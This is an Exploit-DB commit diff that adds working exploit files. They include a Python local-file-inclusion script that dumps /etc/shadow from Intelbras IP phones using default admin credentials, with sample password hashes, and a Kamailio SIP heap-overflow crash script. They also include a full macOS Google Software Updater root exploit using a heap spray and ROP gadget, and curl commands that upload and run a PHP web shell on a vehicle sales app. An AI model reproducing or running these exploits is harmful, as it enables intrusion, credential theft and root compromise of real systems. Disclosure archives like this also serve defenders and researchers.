DB: 2018-03-21
14 changes to exploits/shellcodes Microsoft Windows Kernel - 'NtQueryVirtualMemory(MemoryMappedFilenameInformation)' 64-bit Pool Memory Disclosure Microsoft Windows Kernel - 'NtQueryInformationThread(ThreadBasicInformation)' 64-bit Stack Memory Disclosure Microsoft Windows Kernel - 'nt!KiDispatchException' 64-bit Stack Memory Disclosure Microsoft Windows Kernel - 'nt!NtWaitForDebugEvent' 64-bit Stack Memory Disclosure Internet Explorer - 'RegExp.lastMatch' Memory Disclosure Kamailio 5.1.1 / 5.1.0 / 5.0.0 - Off-by-One Heap Overflow Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation Google Software Updater macOS - Unsafe use of Distributed Objects Privilege Escalation Microsoft Windows - Desktop Bridge VFS Privilege Escalation Microsoft Windows - Desktop Bridge Virtual Registry Arbitrary File Read/Write Privilege Escalation Microsoft Windows - Desktop Bridge Virtual Registry NtLoadKey Arbitrary File Read/Write Privilege Escalation Intelbras Telefone IP TIP200 LITE - Local File Disclosure Vehicle Sales Management System - Multiple Vulnerabilities Linux/x86 - execve(/bin/sh) Shellcode (18 bytes)
This commit is contained in:
Offensive Security
parent
224c305b0d
commit
dd3b710ae8
16 changed files with 1361 additions and 6 deletions
61
exploits/hardware/webapps/44317.py
Executable file
61
exploits/hardware/webapps/44317.py
Executable file
|
|
@ -0,0 +1,61 @@
|
|||
# Exploit Title: [INTELBRAS TELEFONE IP TIP200/200 LITE Local File Include]
|
||||
# Google Dork: []
|
||||
# Date: 16/03/2018
|
||||
# Exploit Author: [Matheus Goncalves - anhax0r]
|
||||
# Vendor Homepage: [https://www.facebook.com/anhaxteam/]
|
||||
# Software Link: []
|
||||
# Version: [60.0.75.29] (REQUIRED)
|
||||
# Tested on: [Debian]
|
||||
# CVE : [if applicable]
|
||||
|
||||
|
||||
#Remember that you need login with admin credentials to download files !!! in this case, i used default credentials
|
||||
|
||||
import requests as http
|
||||
import subprocess
|
||||
import os
|
||||
from requests.auth import HTTPBasicAuth
|
||||
def poc():
|
||||
print(""" -------------------------------------------------------------------------------------------------------------
|
||||
------------- 0day: TELEFONE IP TIP200/200 LITE | Local File Include | Local File Download-------------------
|
||||
------------- P0c Author: Matheus Goncalves | Pentester at Anhax Security Team -------------------
|
||||
-------------------------------------------------------------------------------------------------------------\n""")
|
||||
filename = raw_input("filename Ex: /etc/shadow: -> ")
|
||||
if(filename == ""):
|
||||
filename="/etc/shadow"
|
||||
r = http.get("http://192.168.0.207/cgi-bin/cgiServer.exx?page="+str(filename), auth=HTTPBasicAuth('admin', 'admin'))
|
||||
print(" ")
|
||||
text = r.text
|
||||
|
||||
print(text)
|
||||
savefile = raw_input("Save file? [Y\\n]: ")
|
||||
savefile.upper()
|
||||
if(savefile=="Y" or savefile=="y"):
|
||||
os.system("echo '"+text+"' > "+filename.replace("/etc/", ""))
|
||||
print("File saved !!")
|
||||
start()
|
||||
else:
|
||||
start()
|
||||
|
||||
def start():
|
||||
poc()
|
||||
|
||||
start()
|
||||
|
||||
|
||||
#root@hax:~/itscanner# python p0c.py
|
||||
# -------------------------------------------------------------------------------------------------------------
|
||||
# ------------- 0day: TELEFONE IP TIP200/200 LITE | Local File Include |-------------------
|
||||
# ------------- P0c Author: Matheus Goncalves | Pentester at Anhax Security Team -------------------
|
||||
# -------------------------------------------------------------------------------------------------------------
|
||||
#filename Ex: /etc/shadow: -> /etc/shadow
|
||||
|
||||
#root:$1$83hUAZ/2$GKlGOZlepa6eikA6mfG1l/:11876:0:99999:7:::
|
||||
#admin:DP7Kg4tE0Y9rs:11876:0:99999:7:::
|
||||
|
||||
#Save file? [Y\n]: y
|
||||
#File saved !!
|
||||
|
||||
#root@hax:~/itscanner# cat shadow
|
||||
#root:$1$83hUAZ/2$GKlGOZlepa6eikA6mfG1l/:11876:0:99999:7:::
|
||||
#admin:DP7Kg4tE0Y9rs:11876:0:99999:7:::
|
||||
136
exploits/linux/dos/44316.py
Executable file
136
exploits/linux/dos/44316.py
Executable file
|
|
@ -0,0 +1,136 @@
|
|||
'''
|
||||
# Off-by-one heap overflow in Kamailio
|
||||
|
||||
- Authors:
|
||||
- Alfred Farrugia <alfred@enablesecurity.com>
|
||||
- Sandro Gauci <sandro@enablesecurity.com>
|
||||
- Fixed versions: Kamailio v5.1.2, v5.0.6 and v4.4.7
|
||||
- References: no CVE assigned yet
|
||||
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-05-kamailio-heap-overflow>
|
||||
- Tested vulnerable versions: 5.1.1, 5.1.0, 5.0.0
|
||||
- Timeline:
|
||||
- Report date: 2018-02-10
|
||||
- Kamailio confirmed issue: 2018-02-10
|
||||
- Kamailio patch: 2018-02-10
|
||||
- Kamailio release with patch: 2018-03-01
|
||||
- Enable Security advisory: 2018-03-19
|
||||
|
||||
## Description
|
||||
|
||||
A specially crafted REGISTER message with a malformed `branch` or `From tag` triggers an off-by-one heap overflow.
|
||||
|
||||
## Impact
|
||||
|
||||
Abuse of this vulnerability leads to denial of service in Kamailio. Further research may show that exploitation leads to remote code execution.
|
||||
|
||||
## How to reproduce the issue
|
||||
|
||||
The following SIP message was used to reproduce the issue with a `From` header containing the `tag` that triggers the vulnerability:
|
||||
|
||||
|
||||
```
|
||||
REGISTER sip:localhost:5060 SIP/2.0
|
||||
Via: SIP/2.0/TCP 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394
|
||||
To: <sip:1@localhost:5060>
|
||||
From: Test <sip:2@localhost:5060>;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg
|
||||
Call-ID: 8b113457-c6a6-456a-be68-606686d93c38
|
||||
Contact: sip:1@127.0.0.1:53497
|
||||
Max-Forwards: 70
|
||||
CSeq: 10086 REGISTER
|
||||
User-Agent: go SIP fuzzer/1
|
||||
Content-Length: 0
|
||||
|
||||
```
|
||||
|
||||
We used this python script to reproduce the crash:
|
||||
'''
|
||||
|
||||
#!/usr/bin/env python
|
||||
import socket
|
||||
import sys
|
||||
|
||||
PROTO = "udp"
|
||||
SERVER_IP = "127.0.0.1"
|
||||
SERVER_PORT = 5060
|
||||
|
||||
for _ in range(2):
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.connect((sys.argv[1], int(sys.argv[2])))
|
||||
|
||||
msg = "REGISTER sip:localhost:5060 SIP/2.0\r\n" \
|
||||
"Via: SIP/2.0/TCP 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394\r\n" \
|
||||
"To: <sip:1@localhost:5060>\r\n" \
|
||||
"From: Test <sip:2@localhost:5060>;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg\r\n" \
|
||||
"Call-ID: 8b113457-c6a6-456a-be68-606686d93c38\r\n" \
|
||||
"Contact: sip:1@127.0.0.1:53497\r\n" \
|
||||
"Max-Forwards: 70\r\n" \
|
||||
"CSeq: 10086 REGISTER\r\n" \
|
||||
"User-Agent: go SIP fuzzer/1\r\n" \
|
||||
"Content-Length: 0\r\n" \
|
||||
"\r\n"
|
||||
|
||||
sock.sendall(msg)
|
||||
|
||||
'''
|
||||
Run using:
|
||||
|
||||
```
|
||||
python crash.py <ip> <port>
|
||||
```
|
||||
|
||||
The expected result is a crash in Kamailio.
|
||||
|
||||
Notes:
|
||||
|
||||
- authentication is not required
|
||||
- SIP extension does not need to exist
|
||||
- Message can be sent over TCP or UDP
|
||||
|
||||
### GDB backtrace result
|
||||
|
||||
Both crashes produce a similar backtrace in GDB:
|
||||
|
||||
```
|
||||
#0 0x00007f08c3f16428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
|
||||
#1 0x00007f08c3f1802a in __GI_abort () at abort.c:89
|
||||
#2 0x0000000000669a6e in qm_debug_frag (qm=0x7f08ba615000, f=0x7f08ba8c70a8, file=0x7f08c0bba514 "tmx: tmx_pretran.c", line=250) at core/mem/q_malloc.c:147
|
||||
#3 0x000000000066b49e in qm_malloc (qmp=0x7f08ba615000, size=136, file=0x7f08c0bba514 "tmx: tmx_pretran.c", func=0x7f08c0bbb320 <__func__.7497> "tmx_check_pretran", line=250, mname=0x7f08c0bba510 "tmx") at core/mem/q_malloc.c:380
|
||||
#4 0x00000000006758e8 in qm_shm_malloc (qmp=0x7f08ba615000, size=136, file=0x7f08c0bba514 "tmx: tmx_pretran.c", func=0x7f08c0bbb320 <__func__.7497> "tmx_check_pretran", line=250, mname=0x7f08c0bba510 "tmx") at core/mem/q_malloc.c:1206
|
||||
#5 0x00007f08c0baf879 in tmx_check_pretran (msg=0x7f08c37a3250) at tmx_pretran.c:250
|
||||
#6 0x00007f08c0bac901 in t_precheck_trans (msg=0x7f08c37a3250) at tmx_mod.c:858
|
||||
#7 0x00007f08c0bac939 in w_t_precheck_trans (msg=0x7f08c37a3250, p1=0x0, p2=0x0) at tmx_mod.c:869
|
||||
#8 0x000000000047b0e4 in do_action (h=0x7fff808ef7e0, a=0x7f08c374e6c0, msg=0x7f08c37a3250) at core/action.c:1067
|
||||
#9 0x0000000000487df1 in run_actions (h=0x7fff808ef7e0, a=0x7f08c374e6c0, msg=0x7f08c37a3250) at core/action.c:1565
|
||||
#10 0x00000000004884a7 in run_actions_safe (h=0x7fff808f0860, a=0x7f08c374e6c0, msg=0x7f08c37a3250) at core/action.c:1633
|
||||
#11 0x0000000000446725 in rval_get_int (h=0x7fff808f0860, msg=0x7f08c37a3250, i=0x7fff808efb44, rv=0x7f08c374e818, cache=0x0) at core/rvalue.c:912
|
||||
#12 0x000000000044ae11 in rval_expr_eval_int (h=0x7fff808f0860, msg=0x7f08c37a3250, res=0x7fff808efb44, rve=0x7f08c374e810) at core/rvalue.c:1910
|
||||
#13 0x000000000047aba7 in do_action (h=0x7fff808f0860, a=0x7f08c374f3b0, msg=0x7f08c37a3250) at core/action.c:1043
|
||||
#14 0x0000000000487df1 in run_actions (h=0x7fff808f0860, a=0x7f08c374f3b0, msg=0x7f08c37a3250) at core/action.c:1565
|
||||
#15 0x000000000047b050 in do_action (h=0x7fff808f0860, a=0x7f08c374f650, msg=0x7f08c37a3250) at core/action.c:1058
|
||||
#16 0x0000000000487df1 in run_actions (h=0x7fff808f0860, a=0x7f08c374b610, msg=0x7f08c37a3250) at core/action.c:1565
|
||||
#17 0x00000000004885b3 in run_top_route (a=0x7f08c374b610, msg=0x7f08c37a3250, c=0x0) at core/action.c:1654
|
||||
#18 0x000000000059c7dc in receive_msg (
|
||||
buf=0xa48120 <buf> "REGISTER sip:127.0.0.1:5060 SIP/2.0\r\nVia: SIP/2.0/TCP 127.0.0.1:51315;branch=z340282366920938463463374607431768211455hG4bKecc-65715664045141690323692c170141183460469231731687303715884105859-4b6d-48dc-"..., len=608,
|
||||
rcv_info=0x7fff808f0c20) at core/receive.c:277
|
||||
#19 0x00000000004a7b7c in udp_rcv_loop () at core/udp_server.c:554
|
||||
#20 0x00000000004232d0 in main_loop () at main.c:1626
|
||||
#21 0x000000000042a97a in main (argc=7, argv=0x7fff808f12d8) at main.c:2646
|
||||
(gdb)
|
||||
```
|
||||
|
||||
This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.
|
||||
|
||||
## Solutions and recommendations
|
||||
|
||||
Apply the patch at <https://github.com/kamailio/kamailio/commit/e1d8008a09d9390ebaf698abe8909e10dfec4097> or make use of a release that includes that patch (e.g. v5.1.2, v5.0.6 or v4.4.7).
|
||||
|
||||
Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within hours of our report.
|
||||
|
||||
## About Enable Security
|
||||
|
||||
[Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
|
||||
'''
|
||||
|
|
@ -12,8 +12,7 @@
|
|||
# context of the application. Failed exploit attempts will result in a
|
||||
# denial-of-service condition.
|
||||
#
|
||||
# Vendor homepage: SC v7.16 -
|
||||
http://www.ibiblio.org/pub/Linux/apps/financial/spreadsheet/!INDEX.html
|
||||
# Vendor homepage: SC v7.16 - http://www.ibiblio.org/pub/Linux/apps/financial/spreadsheet/!INDEX.html
|
||||
#
|
||||
#
|
||||
#[----------------------------------registers-----------------------------------]
|
||||
|
|
@ -26,8 +25,7 @@ http://www.ibiblio.org/pub/Linux/apps/financial/spreadsheet/!INDEX.html
|
|||
#EBP: 0x41414141 ('AAAA')
|
||||
#ESP: 0xbfffee30 --> 0xbffff100 --> 0xb7fd9000 (jg 0xb7fd9047)
|
||||
#EIP: 0x41424344 ('DCBA')
|
||||
#EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT
|
||||
direction overflow)
|
||||
#EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
#[-------------------------------------code-------------------------------------]
|
||||
#Invalid $PC address: 0x41424344
|
||||
#[------------------------------------stack-------------------------------------]
|
||||
|
|
|
|||
321
exploits/macos/local/44307.m
Normal file
321
exploits/macos/local/44307.m
Normal file
|
|
@ -0,0 +1,321 @@
|
|||
/*
|
||||
Google software updater ships with Chrome on MacOS and installs a root service (com.google.Keystone.Daemon.UpdateEngine)
|
||||
which lives here: /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon
|
||||
|
||||
This service vends a Distributed Object which exposes an API for updating google software running on the machine.
|
||||
|
||||
Distributed Objects are very very hard to safely use across a privileged boundary.
|
||||
|
||||
The GoogleSoftwareUpdateDaemon process attempts to "sanitize" objects passed to it by serializing
|
||||
and deserializing them to a plist, however this still means we can attack the plist serializing code!
|
||||
|
||||
Specifically, with D.O. we can pass proxy objects which allow us to overload all objective-c
|
||||
method calls. We can make the plist code think it's serializing a CFString, and then change our behaviour
|
||||
to return a different CFTypeID so we become a dictionary for example.
|
||||
|
||||
The plist serialization code is not written to defend against such proxy objects, because D.O. should not be
|
||||
used across a privilege boundary.
|
||||
|
||||
In this case I'm targetting the following code in CoreFoundation:
|
||||
|
||||
static void _flattenPlist(CFPropertyListRef plist, CFMutableArrayRef objlist, CFMutableDictionaryRef objtable, CFMutableSetRef uniquingset);
|
||||
|
||||
plist will be a proxy for the FakeCFObject I define. We can first pretend to be a CFString to pass some other type checks, then become a CFDictionary
|
||||
(by simply returning a different return value for the _cfTypeID method.) We can then reach the following code:
|
||||
|
||||
CFIndex count = CFDictionaryGetCount((CFDictionaryRef)plist);
|
||||
STACK_BUFFER_DECL(CFPropertyListRef, buffer, count <= 128 ? count * 2 : 1);
|
||||
CFPropertyListRef *list = (count <= 128) ? buffer : (CFPropertyListRef *)CFAllocatorAllocate(kCFAllocatorSystemDefault, 2 * count * sizeof(CFTypeRef), __kCFAllocatorGCScannedMemory);
|
||||
CFDictionaryGetKeysAndValues((CFDictionaryRef)plist, list, list + count);
|
||||
for (CFIndex idx = 0; idx < 2 * count; idx++) {
|
||||
_flattenPlist(list[idx], objlist, objtable, uniquingset);
|
||||
}
|
||||
|
||||
Since we're not a real CFDictionary we can return an arbitrary value for count. If we return a value < 0 it will be used to calculate the size of a stack buffer.
|
||||
By passing a carefully chosen value this lets you move the stack pointer down an arbitrary amount, off the bottom of the stack and potentially into another thread's stack
|
||||
or on to the heap, allowing memory corruption.
|
||||
|
||||
There will be dozens of other places where attack-controlled proxy objects will be able to interact with system code that was not written expecting to have
|
||||
to deal with proxy objects.
|
||||
|
||||
The correct fix is to not use Distributed Objects across a privilege boundary, as per Apple's advice:
|
||||
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html
|
||||
|
||||
build this PoC:
|
||||
clang -o ks ks.m -framework Foundation -framework CoreFoundation
|
||||
|
||||
start lldb waiting for the daemon to start:
|
||||
sudo lldb --wait-for -n "/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon"
|
||||
|
||||
continue lldb and run the poc, you should see that the stack ends up pointing well outside the stack :)
|
||||
*/
|
||||
|
||||
/*
|
||||
ianbeer
|
||||
Google software updater LPE on MacOS due to unsafe use of Distributed Objects
|
||||
|
||||
Google software updater ships with Chrome on MacOS and installs a root service (com.google.Keystone.Daemon.UpdateEngine)
|
||||
which lives here: /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon
|
||||
|
||||
This service vends a Distributed Object which exposes an API for updating google software running on the machine.
|
||||
|
||||
Distributed Objects are very very hard to safely use across a privileged boundary.
|
||||
|
||||
The GoogleSoftwareUpdateDaemon process attempts to "sanitize" objects passed to it by serializing
|
||||
and deserializing them to a plist, however this still means we can attack the plist serializing code!
|
||||
|
||||
Specifically, with D.O. we can pass proxy objects which allow us to overload all objective-c
|
||||
method calls. We can make the plist code think it's serializing a CFString, and then change our behaviour
|
||||
to return a different CFTypeID so we become a dictionary for example.
|
||||
|
||||
The plist serialization code is not written to defend against such proxy objects, because D.O. should not be
|
||||
used across a privilege boundary.
|
||||
|
||||
In this case I'm targetting the following code in CoreFoundation:
|
||||
|
||||
static void _flattenPlist(CFPropertyListRef plist, CFMutableArrayRef objlist, CFMutableDictionaryRef objtable, CFMutableSetRef uniquingset);
|
||||
|
||||
plist will be a proxy for the FakeCFObject I define. We can first pretend to be a CFString to pass some other type checks, then become a CFDictionary
|
||||
(by simply returning a different return value for the _cfTypeID method.) We can then reach the following code:
|
||||
|
||||
CFIndex count = CFDictionaryGetCount((CFDictionaryRef)plist);
|
||||
STACK_BUFFER_DECL(CFPropertyListRef, buffer, count <= 128 ? count * 2 : 1);
|
||||
CFPropertyListRef *list = (count <= 128) ? buffer : (CFPropertyListRef *)CFAllocatorAllocate(kCFAllocatorSystemDefault, 2 * count * sizeof(CFTypeRef), __kCFAllocatorGCScannedMemory);
|
||||
CFDictionaryGetKeysAndValues((CFDictionaryRef)plist, list, list + count);
|
||||
for (CFIndex idx = 0; idx < 2 * count; idx++) {
|
||||
_flattenPlist(list[idx], objlist, objtable, uniquingset);
|
||||
}
|
||||
|
||||
Since we're not a real CFDictionary we can return an arbitrary value for count. If we return a value < 0 it will be used to calculate the size of a stack buffer.
|
||||
By passing a carefully chosen value this lets you move the stack pointer down an arbitrary amount, off the bottom of the stack and potentially into another thread's stack
|
||||
or on to the heap, allowing memory corruption.
|
||||
|
||||
There will be dozens of other places where attack-controlled proxy objects will be able to interact with system code that was not written expecting to have
|
||||
to deal with proxy objects.
|
||||
|
||||
The correct fix is to not use Distributed Objects across a privilege boundary, as per Apple's advice:
|
||||
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html
|
||||
|
||||
build this PoC:
|
||||
clang -o ks_r00t ks_r00t.m -framework Foundation -framework CoreFoundation
|
||||
|
||||
This PoC exploit will run the shell script /tmp/x.sh as root.
|
||||
*/
|
||||
|
||||
#import <objc/Object.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
#include <dlfcn.h>
|
||||
|
||||
#import <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#import <unistd.h>
|
||||
|
||||
@interface FakeCFObject : NSObject
|
||||
{
|
||||
int count;
|
||||
}
|
||||
|
||||
- (id) init;
|
||||
- (CFTypeID) _cfTypeID;
|
||||
- (void) getObjects:(id)objs andKeys:(id)keys;
|
||||
- (void) getObjects:(id)objs range:(id)r;
|
||||
- (unsigned long) count;
|
||||
@end
|
||||
|
||||
@implementation FakeCFObject
|
||||
- (id)init {
|
||||
self = [super init];
|
||||
if (self) {
|
||||
count = 0;
|
||||
}
|
||||
return self;
|
||||
}
|
||||
|
||||
- (CFTypeID) _cfTypeID;
|
||||
{
|
||||
NSLog(@"called cfTypeID");
|
||||
count++;
|
||||
|
||||
switch (count) {
|
||||
case 1:
|
||||
return CFStringGetTypeID();
|
||||
default:
|
||||
return CFArrayGetTypeID();
|
||||
}
|
||||
}
|
||||
|
||||
- (unsigned long) count;
|
||||
{
|
||||
NSLog(@"called count");
|
||||
uint64_t rsp_guess = 0x700006000000;
|
||||
uint64_t heap_spray_guess = 0x150505000;
|
||||
uint64_t sub_rsp = rsp_guess - heap_spray_guess;
|
||||
sub_rsp >>= 3;
|
||||
sub_rsp |= (1ull<<63);
|
||||
printf("count: 0x%016llx\n", sub_rsp);
|
||||
return sub_rsp;
|
||||
}
|
||||
|
||||
- (void) getObjects:(id)objs andKeys:(id)keys;
|
||||
{
|
||||
NSLog(@"called getObjects_andKeys");
|
||||
}
|
||||
|
||||
- (void) getObjects:(id)objs range:(id)r;
|
||||
{
|
||||
NSLog(@"called getObjects_andKeys");
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
// heap sprap assumption is that this will end up at 0x150505000
|
||||
/*
|
||||
heap spray structure:
|
||||
we need to spray for two values, firstly the bug will sub rsp, CONTROLLED
|
||||
we want that to put the stack into the spray allocation
|
||||
|
||||
|
||||
+----------------------+
|
||||
| |
|
||||
| regular thread stack |
|
||||
| |
|
||||
+-- +......................+ <-- base of stack when we use the bug to cause a
|
||||
| . . massive sub rsp, X to move the stack pointer into the heap spray
|
||||
| . <many TB of virtual .
|
||||
| . address space> .
|
||||
| . .
|
||||
| | + - - - - - - - + <--^--- 1G heap spray
|
||||
| | | FAKE_OBJC | | top half is filled with fake objective c class objects
|
||||
| | | FAKE_OBJC | | bottom half is filled with 0x170707000
|
||||
| | | FAKE_OBJC | |
|
||||
| | | ... | | +--- these pointers all hopefully point somewhere into the top half of the heap spray
|
||||
| | + - - - - - - - + | |
|
||||
| | | 0x170707000 | <--^-+
|
||||
| | | 0x170707000 | | +-- this is the first entry in the stack-allocated buffer
|
||||
| | | 0x170707000 | | | if we override the getObjectsforRange selector of the D.O. so that nothing gets
|
||||
| | | ... | | | filled in here this will be used uninitialized
|
||||
| | | 0x170707000 | <--^--+
|
||||
+-> +-----------------| <--^--- rsp points here after the massive sub.
|
||||
| | 0x170707000 | | we want rsp to point anywhere in the lower half of the heap spray
|
||||
| | xxxxxxxxxxx | |
|
||||
| | xxxxxxxxxxx | |
|
||||
| | 0x170707000 | |
|
||||
| +---------------+ <--^--- we send this 1G region as an NSData object
|
||||
. .
|
||||
. .
|
||||
|
||||
|
||||
When we get RIP control rdi will point to the bottom of the alloca buffer.
|
||||
That is, it will point to a qword containing 0x170707070
|
||||
|
||||
The gadget below will turn that into RIP control with rdi pointing to the fake objective-c
|
||||
class object. Since the first 16 bytes of that are unused by objc_msgSend we can point the
|
||||
second fptr to system and put a 16 byte command at the start of the fake class.
|
||||
*/
|
||||
|
||||
|
||||
// this is tls_handshake_set_protocol_version_callback in Security.framework:
|
||||
char* gadget =
|
||||
"\x55" // push rbp
|
||||
"\x48\x89\xE5" // mov rbp, rsp
|
||||
"\x89\x77\x58" // mov [rdi+58h], esi
|
||||
"\x48\x8B\x47\x28" // mov rax, [rdi+28h]
|
||||
"\x48\x8B\x7F\x30" // mov rdi, [rdi+30h]
|
||||
"\x48\x8B\x40\x30" // mov rax, [rax+30h]
|
||||
"\x5D" // pop rbp
|
||||
"\xFF\xE0"; // jmp rax
|
||||
|
||||
uint64_t gadget_address() {
|
||||
void* haystack = dlsym(RTLD_DEFAULT, "NSAllocateObject");
|
||||
printf("haystack: %p\n", haystack);
|
||||
|
||||
void* found_at = memmem(haystack, 0x10000000, gadget, 22);
|
||||
printf("found at: %p\n", found_at);
|
||||
|
||||
return found_at;
|
||||
}
|
||||
|
||||
// heap spray target of 0x170707000
|
||||
// this will be the page containing the fake objective c object
|
||||
void* build_upper_heap_spray_page() {
|
||||
uint64_t spray_target = 0x170707000;
|
||||
uint64_t target_fptr = gadget_address();
|
||||
|
||||
struct fake_objc_obj {
|
||||
char cmd[16];
|
||||
uint64_t cache_buckets_ptr; // +0x10
|
||||
uint64_t cache_buckets_mask; // +0x18
|
||||
uint64_t cached_sel; // +0x20
|
||||
uint64_t cached_fptr; // +0x28
|
||||
uint64_t second_fptr; // +0x30
|
||||
};
|
||||
|
||||
struct fake_objc_obj* buf = malloc(PAGE_SIZE);
|
||||
memset(buf, 'B', PAGE_SIZE);
|
||||
|
||||
uint64_t target_selector = (uint64_t)sel_registerName("class");
|
||||
printf("target selector address: %llx\n", target_selector);
|
||||
|
||||
strcpy(buf->cmd, "/tmp/x.sh");
|
||||
buf->cache_buckets_ptr = spray_target + 0x20;
|
||||
buf->cache_buckets_mask = 0;
|
||||
buf->cached_sel = target_selector;
|
||||
buf->cached_fptr = target_fptr;
|
||||
|
||||
buf->second_fptr = (uint64_t)system;
|
||||
|
||||
return buf;
|
||||
}
|
||||
|
||||
// heap spray target of 0x150505000
|
||||
// this will be the page containing the pointer to the fake objective c class
|
||||
void* build_lower_heap_spray_page() {
|
||||
uint64_t* buf = malloc(PAGE_SIZE);
|
||||
for (int i = 0; i < PAGE_SIZE/8; i++) {
|
||||
buf[i] = 0x170707000;
|
||||
}
|
||||
return buf;
|
||||
}
|
||||
|
||||
int main() {
|
||||
id theProxy;
|
||||
theProxy = [[NSConnection
|
||||
rootProxyForConnectionWithRegisteredName:@"com.google.Keystone.Daemon.UpdateEngine"
|
||||
host:nil] retain];
|
||||
|
||||
printf("%p\n", theProxy);
|
||||
|
||||
FakeCFObject* obj = [[FakeCFObject alloc] init];
|
||||
|
||||
NSDictionary* dict = @{@"ActivesInfo": obj};
|
||||
|
||||
id retVal = [theProxy claimEngineWithError:nil];
|
||||
printf("retVal: %p\n", retVal);
|
||||
|
||||
uint32_t heap_spray_MB = 1024;
|
||||
uint32_t heap_spray_bytes = heap_spray_MB * 1024 * 1024;
|
||||
uint32_t heap_spray_n_pages = heap_spray_bytes / PAGE_SIZE;
|
||||
|
||||
void* lower_heap_spray_page = build_lower_heap_spray_page();
|
||||
void* upper_heap_spray_page = build_upper_heap_spray_page();
|
||||
|
||||
uint8_t* heap_spray_full_buffer = malloc(heap_spray_bytes);
|
||||
for (int i = 0; i < heap_spray_n_pages/2; i++) {
|
||||
memcpy(&heap_spray_full_buffer[i*PAGE_SIZE], lower_heap_spray_page, PAGE_SIZE);
|
||||
}
|
||||
|
||||
for (int i = heap_spray_n_pages/2; i < heap_spray_n_pages; i++) {
|
||||
memcpy(&heap_spray_full_buffer[i*PAGE_SIZE], upper_heap_spray_page, PAGE_SIZE);
|
||||
}
|
||||
|
||||
// wrap that in an NSData:
|
||||
NSData* data = [NSData dataWithBytes:heap_spray_full_buffer length:heap_spray_bytes];
|
||||
|
||||
// trigger the bugs
|
||||
[retVal setParams:dict authenticationPort:data];
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
83
exploits/php/webapps/44318.txt
Normal file
83
exploits/php/webapps/44318.txt
Normal file
|
|
@ -0,0 +1,83 @@
|
|||
# Exploit Title: VSMS Multiple Vulnerabilities
|
||||
# Google Dork: N/A
|
||||
# Date: 16-3-2018
|
||||
# Exploit Author: Sing
|
||||
# Vendor Homepage: https://sourceforge.net/projects/vsms-php/?source=typ_redirect
|
||||
# Software Link: https://sourceforge.net/projects/vsms-php/?source=typ_redirect
|
||||
# Version: 07/2017 (possible v1.2)
|
||||
# Tested on: CentOS 6.9
|
||||
# CVE : CVE-2017-1000474
|
||||
|
||||
|
||||
|
||||
1 login/vehicles.php: Lack of file type filter enabling attacker to upload PHP scripts that can later be executed
|
||||
|
||||
|
||||
POC
|
||||
|
||||
curl -i -b 'PHPSESSID=58csdp0as3lvqapqjesp67tr05' -F 'submit=submit' -F support_images[]=@./getShell.php http://10.0.0.14/soyket-vsms-php-63b563b/login/vehicles.php
|
||||
|
||||
The malicious PHP file has been uploaded to /var/www/html/soyket-vsms-php-63b563b/login/uploads. Now, browse to the location and note the file name. In my vase it's 1510529218getShell.php. To execute it do
|
||||
|
||||
curl http://10.0.0.14/soyket-vsms-php-63b563b/login/uploads/1510529218getShell.php?cmd=id
|
||||
|
||||
|
||||
|
||||
2 login/profile.php: Found SQLI in the Date of Birth text box.
